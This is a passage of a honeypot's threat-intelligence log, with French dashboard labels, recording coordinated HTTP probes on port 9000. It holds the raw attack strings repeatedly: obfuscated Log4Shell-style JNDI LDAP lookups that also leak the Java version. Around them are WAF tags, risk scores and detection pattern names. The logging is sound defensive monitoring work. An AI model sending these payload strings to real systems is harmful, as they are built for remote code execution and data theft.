"path": "\/${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2h:-i}${6s:q8ej:-:}${fp:i:-l}${e:h:s:-d}${nv5i:ogu:-a}${s:-p}${g:8:k1y:-:}${5tg:z6:-\/}${xn29:b:n8g:-\/}${0:-P}${1l:fi:-A}${a3:lc8:-l}${t:5wsd:bf94:-0}${n:ra:-c}${w7le:d3n:ngv9:--}${${b0:-s}${8g:tw:2zu1:-y}${j:-s}${th4:-:}${457u:4v:klyv:-j}${fw0v:-a}${49df:c3s:-v}${z:h4:lmr:-a}${ad:9s:-.}${wp:-v}${1:nhrq:-e}${8q1:-r}${4p:6jfu:rof1:-s}${h:-i}${bjwc:drw:xc20:-o}${41:0w1:uhkj:-n}}${atm:zqv:-.}${u27:-a}${q:dp:s27:-d}${eo:-c}${k2:r:6e:-1}${6ei7:lp8:-6}${3l02:e:-b}${iet",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2h:-i}${6s:q8ej:-:}${fp:i:-l}${e:h:s:-d}${nv5i:ogu:-a}${s:-p}${g:8:k1y:-:}${5tg:z6:-\/}${xn29:b:n8g:-\/}${0:-P}${1l:fi:-A}${a3:lc8:-l}${t:5wsd:bf94:-0}${n:ra:-c}${w7le:d3n:ngv9:--}${${b0:-s}${8g:tw:2zu1:-y}${j:-s}${th4:-:}${457u:4v:klyv:-j}${fw0v:-a}${49df:c3s:-v}${z:h4:lmr:-a}${ad:9s:-.}${wp:-v}${1:nhrq:-e}${8q1:-r}${4p:6jfu:rof1:-s}${h:-i}${bjwc:drw:xc20:-o}${41:0w1:uhkj:-n}}${atm:zqv:-.}${u27:-a}${q:dp:s27:-d}${eo:-c}${k2:r:6e:-1}${6ei7:lp8:-6}${3l02:e:-b}$",
"payload_snippet": "GET \/${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2h:-i}${6s:q8ej:-:}${fp:i:-l}${e:h:s:-d}${nv5i:ogu:-a}${s:-p}${g:8:k1y:-:}${5t",
"evidence": {
"method": "GET",
"path": "\/${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2h:-i}${6s:q8ej:-:}${fp:i:-l}${e:h:s:-d}${nv5i:ogu:-a}${s:-p}${g:8:k1y:-:}${5tg:z6:-\/}${xn29:b:n8g:-\/}${0:-P}${1l:fi:-A}${a3:lc8:-l}${t:5wsd:bf94:-0}${n:ra:-c}${w7le:d3n:ngv9:--}${${b0:-s}${8g:tw:2zu1:-y}${j:-s}${th4:-:}${457u:4v:klyv:-j}${fw0v:-a}${49df:c3s:-v}${z:h4:lmr:-a}${ad:9s:-.}${wp:-v}${1:nhrq:-e}${8q1:-r}${4p:6jfu:rof1:-s}${h:-i}${bjwc:drw:xc20:-o}${41:0w1:uhkj:-n}}${atm:zqv:-.}${u27:-a}${q:dp:s27:-d}${eo:-c}${k2:r:6e:-1}${6ei7:lp8:-6}${3l02:e:-b}${iet",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2h:-i}${6s:q8ej:-:}${fp:i:-l}${e:h:s:-d}${nv5i:ogu:-a}${s:-p}${g:8:k1y:-:}${5tg:z6:-\/}${xn29:b:n8g:-\/}${0:-P}${1l:fi:-A}${a3:lc8:-l}${t:5wsd:bf94:-0}${n:ra:-c}${w7le:d3n:ngv9:--}${${b0:-s}${8g:tw:2zu1:-y}${j:-s}${th4:-:}${457u:4v:klyv:-j}${fw0v:-a}${49df:c3s:-v}${z:h4:lmr:-a}${ad:9s:-.}${wp:-v}${1:nhrq:-e}${8q1:-r}${4p:6jfu:rof1:-s}${h:-i}${bjwc:drw:xc20:-o}${41:0w1:uhkj:-n}}${atm:zqv:-.}${u27:-a}${q:dp:s27:-d}${eo:-c}${k2:r:6e:-1}${6ei7:lp8:-6}${3l02:e:-b}$",
"request_sample": "GET \/${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2h:-i}${6s:q8ej:-:}${fp:i:-l}${e:h:s:-d}${nv5i:ogu:-a}${s:-p}${g:8:k1y:-:}${5tg:z6:-\/}${xn29:b:n8g:-\/}${0:-P}${1l:fi:-A}${a3:lc8:-l}${t:5wsd:bf94:-0}${n:ra:-c}${w7le:d3n:ngv9:--}${${b0:-s}${8g:tw:2zu1:-y}${",
"payload_snippet": "GET \/${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2h:-i}${6s:q8ej:-:}${fp:i:-l}${e:h:s:-d}${nv5i:ogu:-a}${s:-p}${g:8:k1y:-:}${5t",
"classification_reason": "Type \u00ab port_9000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "40798f7396af4ee69d8c13be57bb2e9e808f4ad3",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2h:-i}${6s:q8ej:-:}${fp:i:-l}${e:h:s:-d}${nv5i:ogu:-a}${s:-p}${g:8:k1y:-:}${5tg:z6:-\/}${xn29:b:n8g:-\/}${0:-P}${1l\u2026",
"request_line": "GET \/${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2h:-i}${6s:q8ej:-:}${fp:i:-l}${e:h:s:-d}${nv5i:ogu:-a}${s:-p}${g:8:k1y:-:}${5tg:z6:-\/}${xn29:b:n8g:-\/}${0:-P}${1l:fi:-A}${a3:lc8:-l}${t:5wsd:bf94:-0}\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9000,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2h:-i}${6s:q8ej:-:}${fp:i:-l}${e:h:s:-d}${nv5i:ogu:-a}${s:-p}${g:8:k1y:-:}${5t",
"attack_vector": "port 9000 tcp \u00b7 via HTTP:9000 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2\u2026",
"target_port_label": "9000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_9000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_9000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 59\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 60 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 59,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 59,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 9000,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2h:-i}${6s:q8ej:-:}${fp:i:-l}${e:h:s:-d}${nv5i:ogu:-a}${s:-p}${g:8:k1y:-:}${5tg:z6:-\/}${xn29:b:n8g:-\/}${0:-P}${1l\u2026",
"request_line": "GET \/${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2h:-i}${6s:q8ej:-:}${fp:i:-l}${e:h:s:-d}${nv5i:ogu:-a}${s:-p}${g:8:k1y:-:}${5tg:z6:-\/}${xn29:b:n8g:-\/}${0:-P}${1l:fi:-A}${a3:lc8:-l}${t:5wsd:bf94:-0}\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9000,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 9000 tcp \u00b7 via HTTP:9000 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2\u2026",
"evidence_snippet": "GET \/${${w5:-j}${l1:3ebg:t:-n}${dqf:-d}${dp:qoi:pb2h:-i}${6s:q8ej:-:}${fp:i:-l}${e:h:s:-d}${nv5i:ogu:-a}${s:-p}${g:8:k1y:-:}${5t",
"target_port_label": "9000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "9000"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 17,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_header_x-forwarded-for",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:11:13 UTC
TCP
9000 · HTTP
deser php attack
deser php attack · via HTTP:9000 · (tentative d'exploit) · → /${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}…
Élevée
Élevé · 68
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET /${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}${ysi1:1q:vtf7:-:}${m1:r:d61x:-l}${u3gb:h:wl4o:-d}${… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}${ysi1:1q:vtf7:-:}${m1:r:d61x:-l}${u3gb:h:wl4o:-d}${x:h57u:rvi7:-a}${fuo:ibe:-p}${qh6z:e82b:2n:-:}${g0q:2:-/}${7:-/}${xmq:-P}${7:i3we:-A}${p:g:-l}${tkpj:-0}${dz:q:whc:-c}${k:--}${${8a0:z:-s}${3:8p:-y}${ch:-s}${adx8:axe:-:}${b:-j}${q:ws0i:-a}${u24s:-v}${n1yv:-a}${8:mof:-.}${w:b5:4m8:-v}${57o:ul:3z:-e}${v8:mz:-r}${p:gub:ck94:-s}${r:na:-i}${i8:4:i:-o}${qk:on:g:-n}}${wjo:89:v32n:-.}${r:81v:q:-a}${d:0lg9:9:-d}${t2lj:-c}${40:-1}${g6uh:b:05:-6}${vl2:kx5:-b}${v:-5}${8z
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
9000
Chemin / cible
/${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}${ysi1:1q:vtf7:-:}${m1:r:d61x:-l}${u3gb:h:wl4o:-d}${x:h57u:rvi7:-a}${fuo:ibe:-p}${qh6z:e82b:2n:-:}${g0q:2:-/}${7…
Pourquoi cette classification : Type « deser_php_attack » (signaux protocolaires) · confiance 95%
Confiance classification
100%
Corrélation +10
Risque capteur
Élevé
· 68
Confiance : Confiance 95 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0817
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET PHP serialize O:
CRS 933135
Ligne de requête
GET /${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}${ysi1:1q:vtf7:-:}${m1:r:d61x:-l}${u3gb:h:wl4o:-d}${x:h57u:rvi7:-a}${fuo:ibe:-p}${qh6z:e82b:2n:-:}${g0q:2:-/}${7:-/}${xmq:-P}${7:i3we:-A}${p:g:-l}${tkpj:-0}${dz:q:whc:-c}${k:--}${${8a0:z:-s}${3:8p:-y}${ch:-s}${adx8:axe:-:}${b:-j}${q:ws0i:-a}${u24s:-v}${n1yv:-a}${8:mof:-.}${w:b5:4m8:-v}${57o:ul:3z:-e}${v8:mz:-r}${p:gub:ck94:-s}${r:na:-i}${i8:4:i:-o}${qk:on:g:-n}}${wjo:89:v32n:-.}${r:81v:q:-a}${d:0lg9:9:-d}${t2lj:-c}${40:-1}${g6uh:b:05:-6}${vl2:kx5:-b}${v:-5}
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}${ysi1:1q:vtf7:-:}${m1:r:d61x:-l}${u3gb:h:wl4o:-d}${x:h57u:rvi7:-a}${fuo:ibe:
Requête brute (extrait)
GET /${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}${ysi1:1q:vtf7:-:}${m1:r:d61x:-l}${u3gb:h:wl4o:-d}${x:h57u:rvi7:-a}${fuo:ibe:-p}${qh6z:e82b:2n:-:}${g0q:2:-/}${7:-/}${xmq:-P}${7:i3we:-A}${p:g:-l}${tkpj:-0}${dz:q:whc:-c}${k:--}${${8a0:z:-s}${3:8p:-y}${ch:
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204d696e494f0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f786d6c0d0a436f6e74656e742d4c656e6774683a203139300d0a0d0a3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e3c4c6973",
"emulator_response_len": 276,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${t:-g}${j:7bei:-o}${u49:-o}${9:ht:r51a:-g}}",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "0b37967bee449c869824b09189219b57c1712bae",
"http_target_hash": "818f1e0608e05dff322e63ecfa4d9b2a95e6a000",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.881193264173256,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 9000,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 68,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "b808fc42827c9bcf128887237cf6da0f2b8c1689",
"event_fingerprint": "47f96df1d6a88269818f160b114dd74cd64e7595",
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 86,
"precision_signals": [
"pat-0817"
],
"kb_rule_ids": [
"pat-0817"
],
"matched_patterns": [
"pat-0817",
"pat-0162"
],
"matched_pattern_names": [
"ET PHP serialize O:",
"CRS 933135"
],
"pattern_ids": [
"pat-0817",
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 10
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "de44c707c133a9198b1d74724b3277e1",
"path_pattern_hash": "8a1552dfa976eee64bf15cb92512b7c0"
},
"target_context": {
"dst_port": 9000,
"service": "http",
"service_name": "http",
"risk_score": 68
},
"method": "GET",
"path": "\/${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}${ysi1:1q:vtf7:-:}${m1:r:d61x:-l}${u3gb:h:wl4o:-d}${x:h57u:rvi7:-a}${fuo:ibe:-p}${qh6z:e82b:2n:-:}${g0q:2:-\/}${7:-\/}${xmq:-P}${7:i3we:-A}${p:g:-l}${tkpj:-0}${dz:q:whc:-c}${k:--}${${8a0:z:-s}${3:8p:-y}${ch:-s}${adx8:axe:-:}${b:-j}${q:ws0i:-a}${u24s:-v}${n1yv:-a}${8:mof:-.}${w:b5:4m8:-v}${57o:ul:3z:-e}${v8:mz:-r}${p:gub:ck94:-s}${r:na:-i}${i8:4:i:-o}${qk:on:g:-n}}${wjo:89:v32n:-.}${r:81v:q:-a}${d:0lg9:9:-d}${t2lj:-c}${40:-1}${g6uh:b:05:-6}${vl2:kx5:-b}${v:-5}${8z",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}${ysi1:1q:vtf7:-:}${m1:r:d61x:-l}${u3gb:h:wl4o:-d}${x:h57u:rvi7:-a}${fuo:ibe:-p}${qh6z:e82b:2n:-:}${g0q:2:-\/}${7:-\/}${xmq:-P}${7:i3we:-A}${p:g:-l}${tkpj:-0}${dz:q:whc:-c}${k:--}${${8a0:z:-s}${3:8p:-y}${ch:-s}${adx8:axe:-:}${b:-j}${q:ws0i:-a}${u24s:-v}${n1yv:-a}${8:mof:-.}${w:b5:4m8:-v}${57o:ul:3z:-e}${v8:mz:-r}${p:gub:ck94:-s}${r:na:-i}${i8:4:i:-o}${qk:on:g:-n}}${wjo:89:v32n:-.}${r:81v:q:-a}${d:0lg9:9:-d}${t2lj:-c}${40:-1}${g6uh:b:05:-6}${vl2:kx5:-b}${v:-5}",
"payload_snippet": "GET \/${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}${ysi1:1q:vtf7:-:}${m1:r:d61x:-l}${u3gb:h:wl4o:-d}${x:h57u:rvi7:-a}${fuo:ibe:",
"evidence": {
"method": "GET",
"path": "\/${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}${ysi1:1q:vtf7:-:}${m1:r:d61x:-l}${u3gb:h:wl4o:-d}${x:h57u:rvi7:-a}${fuo:ibe:-p}${qh6z:e82b:2n:-:}${g0q:2:-\/}${7:-\/}${xmq:-P}${7:i3we:-A}${p:g:-l}${tkpj:-0}${dz:q:whc:-c}${k:--}${${8a0:z:-s}${3:8p:-y}${ch:-s}${adx8:axe:-:}${b:-j}${q:ws0i:-a}${u24s:-v}${n1yv:-a}${8:mof:-.}${w:b5:4m8:-v}${57o:ul:3z:-e}${v8:mz:-r}${p:gub:ck94:-s}${r:na:-i}${i8:4:i:-o}${qk:on:g:-n}}${wjo:89:v32n:-.}${r:81v:q:-a}${d:0lg9:9:-d}${t2lj:-c}${40:-1}${g6uh:b:05:-6}${vl2:kx5:-b}${v:-5}${8z",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}${ysi1:1q:vtf7:-:}${m1:r:d61x:-l}${u3gb:h:wl4o:-d}${x:h57u:rvi7:-a}${fuo:ibe:-p}${qh6z:e82b:2n:-:}${g0q:2:-\/}${7:-\/}${xmq:-P}${7:i3we:-A}${p:g:-l}${tkpj:-0}${dz:q:whc:-c}${k:--}${${8a0:z:-s}${3:8p:-y}${ch:-s}${adx8:axe:-:}${b:-j}${q:ws0i:-a}${u24s:-v}${n1yv:-a}${8:mof:-.}${w:b5:4m8:-v}${57o:ul:3z:-e}${v8:mz:-r}${p:gub:ck94:-s}${r:na:-i}${i8:4:i:-o}${qk:on:g:-n}}${wjo:89:v32n:-.}${r:81v:q:-a}${d:0lg9:9:-d}${t2lj:-c}${40:-1}${g6uh:b:05:-6}${vl2:kx5:-b}${v:-5}",
"request_sample": "GET \/${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}${ysi1:1q:vtf7:-:}${m1:r:d61x:-l}${u3gb:h:wl4o:-d}${x:h57u:rvi7:-a}${fuo:ibe:-p}${qh6z:e82b:2n:-:}${g0q:2:-\/}${7:-\/}${xmq:-P}${7:i3we:-A}${p:g:-l}${tkpj:-0}${dz:q:whc:-c}${k:--}${${8a0:z:-s}${3:8p:-y}${ch:",
"payload_snippet": "GET \/${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}${ysi1:1q:vtf7:-:}${m1:r:d61x:-l}${u3gb:h:wl4o:-d}${x:h57u:rvi7:-a}${fuo:ibe:",
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "c4db24f16c72f93c20c9d335e6c09316970fdfc6",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}${ysi1:1q:vtf7:-:}${m1:r:d61x:-l}${u3gb:h:wl4o:-d}${x:h57u:rvi7:-a}${fuo:ibe:-p}${qh6z:e82b:2n:-:}${g0q:2:-\/}${7\u2026",
"request_line": "GET \/${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}${ysi1:1q:vtf7:-:}${m1:r:d61x:-l}${u3gb:h:wl4o:-d}${x:h57u:rvi7:-a}${fuo:ibe:-p}${qh6z:e82b:2n:-:}${g0q:2:-\/}${7:-\/}${xmq:-P}${7:i3we:-A}${p:g:-l}${\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9000,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}${ysi1:1q:vtf7:-:}${m1:r:d61x:-l}${u3gb:h:wl4o:-d}${x:h57u:rvi7:-a}${fuo:ibe:",
"attack_vector": "deser php attack \u00b7 via HTTP:9000 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}\u2026",
"target_port_label": "9000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 68,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 9000,
"protocol_emulated": true,
"tags_summary": [
"pat-0817"
],
"tags_summary_labels_fr": [
"pat-0817"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}${ysi1:1q:vtf7:-:}${m1:r:d61x:-l}${u3gb:h:wl4o:-d}${x:h57u:rvi7:-a}${fuo:ibe:-p}${qh6z:e82b:2n:-:}${g0q:2:-\/}${7\u2026",
"request_line": "GET \/${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}${ysi1:1q:vtf7:-:}${m1:r:d61x:-l}${u3gb:h:wl4o:-d}${x:h57u:rvi7:-a}${fuo:ibe:-p}${qh6z:e82b:2n:-:}${g0q:2:-\/}${7:-\/}${xmq:-P}${7:i3we:-A}${p:g:-l}${\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 9000,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "deser php attack \u00b7 via HTTP:9000 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}\u2026",
"evidence_snippet": "GET \/${${6:-j}${c:-n}${0:n:2mk:-d}${lt:nmej:fln:-i}${ysi1:1q:vtf7:-:}${m1:r:d61x:-l}${u3gb:h:wl4o:-d}${x:h57u:rvi7:-a}${fuo:ibe:",
"target_port_label": "9000 \u00b7 HTTP",
"emulator_service": "http",
